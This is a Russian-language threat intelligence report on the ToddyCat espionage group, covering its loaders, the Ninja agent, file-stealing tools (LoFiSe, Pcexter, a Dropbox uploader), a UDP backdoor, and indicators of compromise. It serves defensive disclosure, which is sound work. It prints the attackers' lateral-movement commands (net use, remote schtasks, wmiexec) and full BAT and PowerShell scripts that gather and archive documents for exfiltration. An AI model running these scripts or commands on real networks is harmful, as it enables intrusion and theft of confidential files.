ToddyCat — это активная APT-группировка, о которой мы рассказывали в предыдущей публикации в прошлом году. Она начала свою деятельность в декабре 2020 года и за это время совершила множество атак на высокопоставленные организации в Европе и Азии.
Наша первая публикация была посвящена основным инструментам группы — троянцу Ninja и бэкдору Samurai, а также описанию набора загрузчиков, используемых для их запуска. Мы рассказали, как злоумышленники скомпрометировали публично доступные серверы, используя уязвимость в Microsoft Exchange, как атаковали пользовательские компьютеры, рассылая вредоносные загрузчики, и как обеспечивали закрепление в системе, используя многоступенчатую схему загрузки.
С момента публикации прошлого отчета мы продолжали следить за активностью группировки и обнаружили новый набор загрузчиков, разработанных с нуля, а также собрали дополнительную информацию об активности группировки на этапе постэксплуатации. Все это позволило расширить наши знания о ToddyCat и получить новые сведения о ее техниках, тактиках и процедурах (TTP). В этой статье мы расскажем о новом наборе вредоносных инструментов, о программах, используемых для кражи и эксфильтрации данных, а также о методах, применяемых этой группой для перемещения в инфраструктуре и проведения шпионских операций.
Инструменты
Стандартный загрузчик
Новые загрузчики вредоносного ПО, используемые ToddyCat, представляют собой 64-разрядные библиотеки, которые вызываются файлом rundll32.exe или загружаются с помощью техники «сайдлоадинг DLL» к легитимным и подписанным исполняемым файлам. Эти компоненты используются на этапе заражения для загрузки троянца Ninja на следующем этапе. Нам известны три варианта этих новых загрузчиков:
Различия | Вариант Update A | Вариант VLC A | Вариант VLC B |
Библиотека загружается в | rundll32.exe | vlc.exe | vlc.exe |
Вредоносный код расположен в функции | DllMain | libvlc_new | libvlc_new |
Имя загружаемого файла | update.bin | playlist.dat | playlist.dat |
Следующий этап загружается в | Память текущего процесса | Память текущего процесса | Порождается новый процесс wusa.exe, и происходит загрузка в его память |
Следующий этап | Библиотека, экспортирующая функцию Start | Библиотека, экспортирующая функцию «_» | Шелл-код |
Первый вариант мы видели под именем update.dll или x64.dll, он загружался стандартной утилитой Windows rundll32.exe. Большая часть его вредоносного кода расположена в функции DllMain, однако код, выполняемый на следующем этапе, расположен в функции Start. Другие два варианта загружаются легитимным медиаплеером VLC.exe с помощью сайдлоадинга DLL.
Загрузчик начинает свою работу, исполняя зашифрованную нагрузку из другого файла, который должен находиться в той же самой директории. Загруженные данные декодируются с помощью функции XOR, при этом ключ для декодирования генерируется с помощью необычной техники. Зловред использует алгоритм, содержащий операции перемещения и сложения, для генерации 256-байтного блока XOR_KEY на основе статического 16-байтного значения XOR_SEED:
1 |
XOR_SEED: 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 |
Полученный блок XOR_KEY дополнительно перемешивается с помощью еще одного встроенного блока IDX длиной 64 байта в качестве индекса, для получения определенного ключа XOR длиной 256 байтов. Этот ключ используется для расшифровки содержимого файла, а результат загружается в память.
Версии Update A и VLC A загружают следующий этап в свое собственное адресное пространство. При этом расшифрованная нагрузка должна представлять собой библиотеку, экспортирующую функцию с именем start или «_» в зависимости от версии.
Версия VLC B запускает новый процесс wusa.exe (Windows Update Standalone Installer), легитимную утилиту Windows, расположенную в директории System32. После этого он загружает расшифрованную нагрузку в адресное пространство запущенного процесса и исполняет ее с помощью функции CreateRemoteThread Windows API.
Tailored-загрузчик
В ходе нашего исследования мы заметили, что на некоторых целевых хостах злоумышленники заменяли стандартные загрузчики на другой вариант, который мы назвали Tailored-загрузчиком (или адаптивным загрузчиком, поскольку зашифрованный файл подстраивается под конкретную систему). Его код похож на стандартный загрузчик — вариант VLC A. Основные различия заключаются в расположении и имени зашифрованного файла — %CommonApplicationData%\Local\user.key — и схеме дешифрования, которая используется для получения конечной полезной нагрузки.
В загрузчике используется тот же алгоритм, о котором говорилось выше: с помощью XOR_SEED генерируется 256-байтный блок XOR_KEY, который затем смешивается с другим встроенным 64-байтным блоком IDX. Перед смешиванием этих двух блоков вредоносная программа собирает свойства хранилища PhysicalDrive0, чтобы получить модель диска.
И использует функцию GetVolumeNameForVolumeMountPointA для получения GUID-тома «C:\».
Эти два значения последовательно используются в качестве XOR-ключа для модификации IDX-блока. Такой подход свидетельствует о том, что зашифрованная полезная нагрузка, хранящаяся в user.key, адаптирована для целевой системы.
Исходя из наших наблюдений, мы полагаем, что Tailored-загрузчик используется для долговременного закрепления в целевых системах. Для достижения этой цели используется та же техника, что и в бэкдоре Samurai, который позволяет злоумышленнику спрятать вредоносную программу в адресном пространстве svchost.exe.
В данном случае злоумышленник создает следующий ключ реестра:
1 2 3 |
Registry Key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost Value name: fontcsvc Value: FontCacheSvc |
Ключ предназначен для того, чтобы заставить легитимный процесс svchost.exe загружать службу FontCacheSvc при запуске системы. Командная строка процесса будет выглядеть следующим образом:
1 |
C:\Windows\system32\svchost.exe -k fontcsvc -s FontCacheSvc |
Злоумышленник также создает новую службу, настроенную на загрузку Tailored-загрузчика, который обычно хранится с именем apibridge.dll.
1 2 3 4 5 6 7 |
Registry Key: $HKLM\System\ControlSet\Services\FontCacheSvc\Parameters Value name: ServiceDll Value: %ProgramFiles%\Common Files\System\apibridge.dll Registry Key: $HKLM\System\ControlSet\Services\FontCacheSvc\Parameters Value name: ServiceMain Value: Start |
Ninja
Последним этапом, загружаемым описанными ранее компонентами, был агент Ninja. Это сложное вредоносное программное обеспечение, написанное на языке C++, вероятно, являющееся частью неизвестного набора инструментов для постэксплуатации, разработанного ToddyCat. Мы описывали его в нашей предыдущей публикации.
Агент представляет собой мощный инструмент, обеспечивающий различные возможности, включая следующие (но не ограничиваясь ими):
- перечисление запущенных процессов и управление ими;
- управление файловой системой;
- управление несколькими сеансами обратных соединений (reverse shell);
- внедрение кода (code injection) в произвольные процессы;
- загрузка дополнительных модулей (возможно, плагинов) во время выполнения;
- функциональность прокси-сервера для пересылки TCP-пакетов между C2 и удаленным хостом.
Последняя версия агента поддерживает те же команды, которые были описаны в предыдущем отчете, но с другой конфигурацией. Если в предыдущей версии обфускация встроенной конфигурации осуществлялась с помощью XOR-ключа 0xAA, то в новой версии для той же цели используется двоичная операция NOT.
Хотя информация, содержащаяся в конфигурации, осталась прежней, имя мьютекса было перенесено после HTTP-заголовков.
LoFiSe
Этот инструмент предназначен для поиска и сбора интересных для ToddyCat файлов на целевых системах. Его название происходит от первых букв слов в имени мьютекса, который он создает (MicrosoftLocalFileService). Сам инструмент представляет собой DLL-файл с именем DsNcDiag.dll, который запускается с помощью техники «сайдлоадинг DLL». В качестве загрузчика используется легитимный исполняемый файл с цифровой подписью и оригинальным именем nclauncher.exe из пакета программ Pulse Secure Network Connect 8.3.
Известны следующие пути и имена файлов в атакованных системах:
- C:\Program Files\Windows Mail\AcroRd64.exe
- C:\Program Files\Windows Mail\DsNcDiag.dll
- C:\Program Files\Common Files\VLCMedia\VLCMediaUP.exe
- C:\Program Files\Common Files\VLCMedia\DsNcDiag.dll
После запуска LoFiSe начинает отслеживать изменения в файловой системе. При этом контролируются все диски в системе. После получения события создания или модификации файла инструмент выполняет несколько проверок. Фильтруются файлы, размер которых превышает 6 400 000 байт (~ 6 Мбайт). Также фильтруются файлы из определенных папок: все файлы, содержащие в своем полном пути «ProgramData», или файлы, которые уже хранятся в рабочих директориях инструмента.
Известны следующие рабочие директории, в которых инструмент хранит свои файлы, в зависимости от версии:
- C:\Programdata\Microsofts\
- C:\windows\temp\
На следующем этапе проверяется расширение файла по следующим маскам:
1 2 |
*.doc, *.docx, *.xls, *.xlsx, *.ppt, *.pptx, *.pdf, *.rtf, *.tif, *.odt, *.ods, *.odp, *.eml, *.msg |
Если файл прошел все проверки, LoFiSe вычисляет его MD5-хэш, который используется для проверки ранее скопированных файлов, и сохраняет эту информацию в базу данных. Файл базы данных под названием Date.db во всех известных версиях утилиты создается в рабочей директории. В базу данных добавляются две таблицы:
Если хеш-сумма файла отсутствует в таблице, то он будет скопирован в рабочую директорию.
Каждые три часа LoFiSe собирает скопированные файлы в защищенный паролем ZIP-архив и помещает его в отдельную папку для дальнейшей эксфильтрации.
DropBox-загрузчик
Это доступный любому универсальный загрузчик данных на популярный файловый хостинг DropBox. Вероятно, этот инструмент востребован не только у ToddyCat, но мы наблюдали, как именно эта группа использовала его для эксфильтрации украденных документов.
Эта небольшая утилита принимает в качестве аргумента токен доступа пользователя DropBox. Затем она анализирует текущий рабочий каталог и загружает файлы со следующими расширениями:
1 |
.z;.001;.002;.003;.004;.005;.006;.007;.008;.009;.010;.011;.012;.013;.014;.015 |
В ходе нашего расследования мы выявили еще несколько аналогичных образцов, которые были защищены разными упаковщиками и обнаружены только в Юго-Восточной Азии. Однако в некоторых случаях инструмент был обнаружен в системах, которые не были явно инфицированы ToddyCat.
Pcexter
Это еще один загрузчик, используемый для эксфильтрации файлов, но уже в облако Microsoft OneDrive. Данный инструмент распространялся в виде DLL-файла с именем Vspmsg.dll, который выполнялся с использованием техники «сайдлоадинг DLL». В качестве контейнера для загрузки инструмент использует легитимный исполняемый файл из Visual Studio — VSPerfCmd, который предназначен для сбора данных о производительности приложений.
Известные пути, по которым эти исполняемые файлы располагались на атакуемых системах:
1 2 3 4 5 6 7 8 |
C:\windows\temp\googledrivefs.exe C:\windows\temp\vspmsg.dll C:\program files\windows mail\securityhealthsystray64.exe C:\program files\windows mail\vspmsg.dll C:\program files\common files\vlcmedia\vlcmediastatus.exe C:\program files\common files\vlcmedia\vspmsg.dll |
Pcexter принимает следующие параметры командной строки:
Параметр | Описание |
—proxy | Адрес прокси-сервера, который используется для функции InternetOpenA |
—user, —pwd | Учетные данные прокси-сервера |
-d | Папка, в которой находятся файлы для отправки |
—rex | Маска, по которой инструмент будет искать файлы для отправки |
После запуска Pcexter ожидает освобождение события Global\SystemLocalPcexter, которое устанавливается и освобождается инструментом LoFiSe, а затем начинает поиск файлов в указанной директории по заданной маске.
Pcexter использует авторизацию OneDrive OAuth 2.0, получает токен доступа и отправляет все найденные файлы методом POST.
1 2 3 4 5 6 7 8 9 10 |
Method: POST URL: https://login.microsoftonline.com/common/oauth2/v2.0/token Content-Type: application/x-www-form-urlencoded; charset=utf-8 Expect: 100-continue client_id=<client_id>&scope=offline_access%20files.readwrite.all refresh_token=<refresh_token>&redirect_uri=https://login.microsoftonline.com/common /oauth2/nativeclient&grant_type=refresh_token |
Другие инструменты
Пассивный UDP-бэкдор
Это простой пассивный бэкдор, который получает команды с помощью UDP-пакетов. Перед запуском бэкдора злоумышленники выполняют следующую команду:
1 2 |
cmd /c start /b netsh advfirewall firewall add rule name="SGAccessInboundRule" dir=in protocol=udp action=allow localport=49683 |
Эта команда создает новое правило фаервола с именем SGAccessInboundRule на целевом хосте, что позволяет бэкдору получать UDP-пакеты, приходящие на порт 49683. После создания правила злоумышленники запускают бэкдор:
1 |
c:\programdata\microsoft\network\aspnet.exe 49683 |
Логика его работы проста: он привязывает UDP-сокет к указанному порту, распаковывает полученные данные и выполняет расшифрованную строку с помощью функции WinExec. После выполнения команды бэкдор отправляет обратную связь о выполнении команды, возвращая сообщение, содержащее текущее системное время и выполненную команду. Однако бэкдор не обеспечивает вывод результатов выполнения команды.
Точная цель этого бэкдора в настоящее время неизвестна. Мы предполагаем, что он используется для обеспечения дополнительной точки входа в систему в случае обнаружения других имплантов.
CobaltStrike
В ходе нашего расследования мы заметили, что злоумышленники использовали CobaltStrike перед развертыванием агента Ninja. В частности, мы наблюдали использование загрузчика, написанного на C++ и расположенного по следующему пути:
1 |
C:\ProgramData\Microsoft\mf\windef.dll |
Вредоносная программа загрузила встроенный ресурс под названием BIN. Содержимое ресурса деобфусцировалось с помощью алгоритма XOR и встроенного в код ключа: B0 9A E4 EA F7 BE B7 B0.
Полученная полезная нагрузка представляла собой CobaltStrike Beacon, настроенный для связи со следующим URL-адресом:
1 |
hxxps://www.githubdd.workers[.]dev/fam/mfe?restart=false |
Примерно через 10 минут после заражения в системе был обнаружен ToddyCat Ninja.
Постэксплуатация
Последние исследования подтверждают, что ToddyCat атакует целевые системы для осуществления шпионской деятельности. Для достижения этого злоумышленники проникают в корпоративные сети с помощью описанных выше загрузчиков и троянцев. После успешного закрепления в системе они начинают собирать информацию о хостах, подключенных к той же сети, чтобы найти цели, на которых могут быть интересующие их файлы.
Группа выполняет действия по обнаружению, перечисляет учетные записи домена и контроллеры домена, используя стандартные утилиты администрирования операционной системы, такие как net и ping:
1 2 3 4 |
net group "domain admins" /dom net user %USER% /dom net group "domain computers" /dom | findstr %VALUABLE_USER% ping %REMOTE_HOST% -4 |
После определения потенциальных целей группа перемещается между хостами. При этом она локально монтирует общие сетевые ресурсы, используя скомпрометированные учетные данные администратора домена:
1 2 |
net use \\%REMOTE_HOST%\c$ "%PASSWORD%" /user:%USER% net use \\%IP_ADDRESS%\c$ "%PASSWORD%" /user:%USER% |
Злоумышленники стараются с течением времени менять используемые учетные данные. После копирования скрипта создается, выполняется и немедленно удаляется задача по расписанию вместе с общим сетевым ресурсом, причем все циклически для каждого целевого хоста:
1 2 3 4 |
schtasks /s %REMOTE_HOST% /tn %TASK_NAME% /u %DOMAIN%\%USER% /p %PASSWORD% /create /ru system /sc DAILY /tr "%COMMAND%" /f schtasks /run /s %REMOTE_HOST% /tn %TASK_NAME% /u %USER% /p "%PASSWORD%" /i schtasks /delete /s %REMOTE_HOST% /tn %TASK_NAME% /u %USER% /p "%PASSWORD%" /f net use \\%IP_ADDRESS%\c$ /del /y |
Задача по расписанию обычно может содержать команды для исследования окружения системы, запуска исполняемых файлов или сценариев PowerShell или BAT, которые отвечают за сбор данных.
При горизонтальном перемещении поток вывода выполняемых команд с помощью задач по расписанию перенаправляется в файл, чтобы злоумышленник мог перехватить результат их выполнения, подключив удаленный диск как локальный общий ресурс:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
Get process list "cmd" /c start /b tasklist /v >> c:\users\public\d Get information about bootable drives cmd /c start /b powershell -c Get-WmiObject -Query {SELECT * FROM Win32_DiskPartition WHERE Bootable = TRUE} >> c:\users\public\d Get remove drive model, vendor name and serial number cmd /c start /b wmic diskdrive where Name="\\.\PHYSICALDRIVE0" get model,name,SerialNumber >> c:\users\public\d Get systeminfo cmd /c start /b systeminfo >> c:\users\public\d Check current TCP ports status cmd /c netstat -anop tcp >> c:\users\public\d Test internet connection cmd /c ping 8.8.8.8 -n 2 >> c:\users\public\d Check if Kaspersky endpoint is running on remote host cmd /c wmic process where name="avp.exe" get processid,executablepath,name,creationdate,CommandLine >> C:\users\public\d Indicator removal cmd /c start /b del c:\programdata\intel\%.SCRIPT_NAME%.ps1 Moving to the root directory using impacket wmiexec cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__%TIMESTAMP% 2>&1 |
В приведенных командах при боковом перемещении в инфраструктуре используется запуск PowerShell-скрипта. Кроме того, мы заметили, что те же команды PowerShell, которые выполнялись в рамках этого сценария, были обернуты в сценарий BAT, предположительно чтобы избежать обнаружения.
Из всех используемых злоумышленниками папок при боковом перемещении они чаще всего выбирают пользовательские:
1 2 3 4 5 6 7 |
cmd /c start /b powershell.exe -exec bypass -c "c:\programdata\intel\%SCRIPT_NAME%.ps1" %INTEGER% c:\users\public\%SCRIPT_NAME%.bat "cmd" /c start /b powershell.exe -exec bypass ". "c:\users\public\%SCRIPT_NAME%.ps1"" > c:\users\public\d |
Злоумышленники повторно используют одни и те же имена задач для одного и того же сеанса. Эти имена обычно выбираются так, чтобы вызывать меньше подозрений, — например, «one» и «tpcd», — в то время как имена сценариев могут состоять из случайных символов (от двух до четырех), выбираемых с более высокой энтропией.
На завершающем этапе активности на хосте, с которого происходит эксфильтрация, монтируется и затем удаляется временный общий ресурс:
1 2 |
net share tmp=c:\windows\debug /grant:everyone,full net share tmp /del /y |
Сбор и эксфильтрация данных
Как упоминалось в предыдущем разделе, после определения интересующей цели начинается этап сбора данных. Злоумышленники обычно собирают файлы со множества разных хостов и сохраняют их в архивы, которые затем извлекаются из целевой сети с помощью общедоступных служб хранения файлов.
Мы уже описывали некоторые инструменты, такие как LoFiSe, специально разработанные для идентификации и сбора интересующих файлов, но в ходе расследования мы также обнаружили другие скрипты, используемые ToddyCat для подсчета файлов на дисках целевого хоста с помощью WMI и сбора недавно измененных документов, имеющих расширения .pdf, .doc, .docx, .xls и .xlsx.
В этих случаях сжатие выполняется с помощью таких инструментов, как 7zip или RAR-утилита. Конкретные инструменты, вероятно, выбираются на основе того, что уже доступно в инфраструктуре. В отличие от LoFiSe, сценарии сбора данных хранят пути к найденным документам в текстовом файле TXT. Сжатие документов может выполняться непосредственно на целевом хосте или на хосте, с которого будет происходить эксфильтрация.
Ниже приведено содержимое скрипта BAT, запущенного на целевых хостах:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
@echo off mkdir c:\users\public\tmp_ >nul 2>nul powershell.exe "Get-Wmiobject -Class Win32_logicaldisk | where size -gt 0 | select-object -ExpandProperty DeviceID >> c:\users\public\tmp_\disk.txt" powershell.exe "get-content c:\users\public\tmp_\disk.txt | foreach {if ($_ - eq \"C:\"){dir \users -Exclude "tmp_" | %%{dir $_.FullName -File -Recurse - Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx' | where LastWriteTime - gt (Get-date).AddDays(-4) | %%{$_.FullName} >> c:\users\public\tmp_\ph.txt} } else{dir $_\ -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx' | where LastWriteTime -gt (Get-date).AddDays(-20) | %%{$_.FullName} >> c:\users\public\tmp_\ph.txt}}" powershell.exe "get-content c:\users\public\tmp_\ph.txt | copy-item - Destination c:\users\public\tmp_ -Force -ErrorAction SilentlyContinue" >nul 2>nul if EXIST C:"\Program Files\"WinRAR ( C:"\Program Files\"WinRAR\rar.exe a -v200m c:\users\public\tmp_.rar c:\users\public\tmp_ -ep >nul 2>nul rmdir /s /q c:\users\public\tmp_ ) else if exist C:"\Program Files (x86)\"WinRAR ( C:"\Program Files (x86)\"WinRAR\rar.exe a -v200m c:\users\public\tmp_.rar c:\users\public\tmp_ -ep >nul 2>nul rmdir /s /q c:\users\public\tmp_ ) exit |
В приведенном выше примере файлы были заархивированы в папке tmp_; мы также наблюдали использование папки с именем, параметризованным в соответствии с именем хоста, например:
1 |
c:\intel\%hostname% |
Документы, которые необходимо собрать, также выбираются по дате их последнего изменения — она должна попадать в определенное количество дней, отсчитанное от текущей даты. Это число обычно передается в качестве аргумента скрипта или может быть жестко задано (как в предыдущем примере).
Скрипт для сбора данных использует разную стратегию при выборе источников данных на основных и дополнительных дисках. В Windows для диска, используемого по умолчанию, скрипт проходит через каталоги профилей пользователей (C:\Users). Такой подход увеличивает вероятность сбора ценных данных, одновременно сокращая необходимое время обработки и сводя к минимуму вероятность сбора нежелательных файлов. При работе с внешними устройствами и другими неосновными носителями данных скрипт выбирает более целесообразную стратегию, производя поиск в корневом каталоге (\). Хотя основной диск всегда доступен, дополнительные диски могут быть периодически отключены, что ограничивает возможности сбора данных. Чтобы обойти это ограничение, злоумышленник иногда расширяет временной диапазон, включая в него более старые файлы на дополнительных и съемных дисках (как можно отметить во фрагменте BAT).
PowerShell-скрипт устроен несколько иным образом:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
[int] $res = 0 if(!(($args.count -eq 1) -and ([int]::TryParse($args, [ref]$res)))){ exit } $lte = (Get-date).AddDays(-$res) $hostname = $env:computername + "_" $pt=Split-Path -Parent $MyInvocation.MyCommand.Definition if (!(Test-Path -path "$env:tmp\\$hostname")){ mkdir "$env:tmp\$hostname" } $d = Get-Wmiobject -Class Win32_logicaldisk | where size -gt 0 | select-object -ExpandProperty DeviceID foreach($i in $d){ if ($i -eq "C:"){ $fp1 = dir c:\\users -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx' | where LastWriteTime -gt $lte | sort LastWriteTime -Descending | %{$_.FullName} write-output $fp1 >> "$env:tmp\$hostname\path.txt" $fp1 | copy-item -Destination "$env:tmp\$hostname" -Force -ErrorAction SilentlyContinue } else{ $fp2 = dir $i\ -File -Recurse -Include '*.pdf', '*.doc', '*.docx', '*.xls', '*.xlsx' | where LastWriteTime -gt $lte | sort LastWriteTime - Descending | %{$_.FullName} write-output $fp2 >> "$env:tmp\$hostname\path.txt" $fp2 | copy-item -Destination "$env:tmp\$hostname" -Force -ErrorAction SilentlyContinue } } C:'\Program Files\'WinRAR\rar.exe a -v200m "$env:tmp\$hostname.rar" "$env:tmp\$hostname" -ep remove-item -path "$env:tmp\$hostname" -Recurse move-item -path "$env:tmp\$hostname.*" "$pt" -Force -ErrorAction SilentlyContinue |
Злоумышленники пытаются обойти защиту, скрывая сценарии и распространяя их с помощью специальных дропперов, которые встраивают код сценария в раздел PE «.text».
Дроппер получает два параметра; первый — это строка пароля, которую необходимо предоставить для начала выполнения, а второй — число, которое фактически передается через командную строку в скрипт PS. После запуска дроппер создает файл с именем pro.ps1 и выполняет его через PowerShell:
1 2 |
c:\users\public\mfc.exe letgo 3 powershell.exe -windowstyle hidden -exec bypass "c:\users\public\pro.ps1" 3 |
В остальных случаях мы наблюдали варианты скриптов, предназначенные исключительно для сбора данных и копирования файлов в определенные папки, но без включения их в сжатые архивы. В этих случаях злоумышленники выполняют сценарий на удаленном хосте, используя стандартную технику удаленного выполнения задач. Собранные файлы затем вручную переносят на хост, используемый для эксфильтрации, с помощью утилиты xcopy и сжимают с помощью утилиты 7z:
1 2 |
xcopy \\%hostname%\c$\programdata\intel c:\intel\%hostname% /f /s /h 7z64 a %hostname%.z %hostname% -v200m |
Затем активность продолжается фактической эксфильтрацией с использованием одного из вышеупомянутых инструментов, Pcexter или загрузчика Dropbox:
1 |
db_org.exe %Dropbox Auth Bearer% |
Индикаторы компрометации ToddyCat (IoC)
Loaders
97D0A47B595A20A3944919863A8163D1 | Variant «Update» |
828F8B599A1CC4A02A2C3928EC3F5F8B | Variant «VLC» A |
90B14807734045F1E0A47C40DF949AC4 | Variant «VLC» B |
0F7002AACA8C1E71959C3EE635A85F14 | Tailored loader |
D3050B3C7EE8A80D8D6700624626266D | Tailored loader |
D4D8131ED03B71D58B1BA348F9606DF7 | Tailored loader |
Passive UDP backdoor
65AF75986577FCC14FBC5F98EFB3B47E
Dropbox exfiltrator
BEBBEBA37667453003D2372103C45BBF
LoFiSe
14FF83A500D403A5ED990ED86296CCC7
4AD609DDDF2C39CDA7BDBE2F9DC279FD
Pcexter
D0CD88352638F1AE101C2A13356AB6B7
318C16195F62094DADCC602B547BBE66
Dropper
C170F05333041C56BCC39056FECB808F
File paths
C:\Program Files\Windows Mail\AcroRd64.exe | LoFiSe Launcher |
C:\Program Files\Windows Mail\DsNcDiag.dll | LoFiSe |
C:\Program Files\Common Files\VLCMedia\VLCMediaUP.exe | LoFiSe Launcher |
C:\Program Files\Common Files\VLCMedia\DsNcDiag.dll | LoFiSe |
C:\windows\temp\googledrivefs.exe | Pcexter Launcher |
C:\windows\temp\vspmsg.dll | Pcexter |
c:\program files\windows mail\securityhealthsystray64.exe | Pcexter Launcher |
c:\program files\windows mail\vspmsg.dll | Pcexter |
c:\program files\common files\vlcmedia\vlcmediastatus.exe | Pcexter Launcher |
c:\program files\common files\vlcmedia\vspmsg.dll | Pcexter |
C:\users\public\mfc.exe | Dropper |
C:\Windows\System32\up.dll | Loader Simple Update |
C:\Windows\System32\x64.dll | Loader Simple Update |
C:\Intel\x64.dll | Loader Simple Update |
C:\Perflogs\1.dll | Loader Simple Update |
C:\ibmsgtk\x64.dll | Loader Simple Update |
C:\Windows\Debug\1.dll | Loader Simple Update |
C:\vlcmedia\libvlc.dll | Loader Simple VLC — wusa.exe inject |
C:\restores\libvlc.dll | Loader Simple VLC |
C:\Users\%User%\libvlc.dll | Loader Simple VLC |
C:\Windows\System32\libvlc.dll | Loader Simple VLC |
C:\Intel\libvlc.dll | Loader Simple VLC |
C:\Program Files\Common Files\vlcmedia\libvlc.dll | Loader Simple VLC — wusa.exe inject |
C:\Program Files\Common Files\System\apibridge.dll | Loader Tailored |
C:\System\apibridge.dll | Loader Tailored |
c:\windows\debug\aspnet.exe | Passive UDP Backdoor |
C:\Microsoft\network\aspnet.exe | Passive UDP Backdoor |
C:\ProgramData\Microsoft\Network\aspnet.exe | Passive UDP Backdoor |
c:\windows\debug\svl.exe | Passive UDP Backdoor — Not Persistent |
C:\Intel\db_org.exe | DropBox Uploader |
C:\Debug\db_org.exe | DropBox Uploader |
C:\Users\Public\Downloads\DB_SIMPLE.exe | DropBox Uploader |
C:\ProgramData\db_org.exe | DropBox Uploader |
C:\ProgramData\Microsoft\XboxLive\db_org.exe | DropBox Uploader |
C:\ProgramData\VLCMedia\playlist.dat | Encrypted Payload |
C:\Windows\System32\update.bin | Encrypted Payload |
C:\ibmsgtk\update.bin | Encrypted Payload |
C:\Intel\update.bin | Encrypted Payload |
C:\Windows\Debug\update.bin | Encrypted Payload |
C:\Perflogs\update.bin | Encrypted Payload |
C:\Intel\playlist.dat | Encrypted Payload |
C:\restores\playlist.dat | Encrypted Payload |
C:\Windows\System32\playlist.dat | Encrypted Payload |
C:\ProgramData\Local\user.key | Encrypted Payload |
Domains
solitary-dawn-61af.mfeagents.workers[.]dev | Ninja C2 |
www.githubdd.workers[.]dev | CobaltStrike C2 |
URLs
hxxps://solitary-dawn-61af.mfeagents.workers[.]dev/collector/3.0/ | Ninja C2 |
hxxps://www.githubdd.workers[.]dev/fam/mfe?restart=false | CobaltStrike C2 |
Registry keys
$HKLM\System\ControlSet\Services\FontCacheSvc
Mutexes
MicrosoftLocalFileService
Events
Global\SystemLocalPcexter
ToddyCat: не поддавайтесь панике и проверяйте логи